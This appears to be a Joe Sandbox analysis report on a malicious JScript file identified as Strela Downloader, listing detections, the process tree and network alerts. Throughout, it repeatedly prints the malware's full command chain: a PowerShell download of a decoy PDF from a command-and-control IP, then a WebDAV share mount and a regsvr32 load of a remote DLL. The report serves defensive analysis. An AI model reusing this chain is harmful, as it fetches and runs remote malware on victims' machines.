Edit tour

Windows Analysis Report
16001220953190821144.js

Overview

General Information

Sample name:	16001220953190821144.js
Analysis ID:	1588809
MD5:	3acc9d9ba3715ffe1f5da179a9364950
SHA1:	ac13d8380f83b5b89cf489ba6b32804bedd10bdd
SHA256:	71b76dfabc02bae85d341e803f3ee0a24dcaa70392f79e50de3f0bfbb66fea26
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7800 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7888 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7940 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3872 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1604,i,3047333612342668782,1285642100344243533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8148 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7252 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5216 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7800	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7940, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7940, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ProcessId: 7800, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7252, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ProcessId: 7800, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7888, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7940, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7252, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5216, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7252, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16001220953190821144.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7800, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\311362243019638.dll, ProcessId: 7888, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:48:18.611043+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:48:21.134445+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:48:18.611043+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16001220953190821144.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16001220953190821144.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:48:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
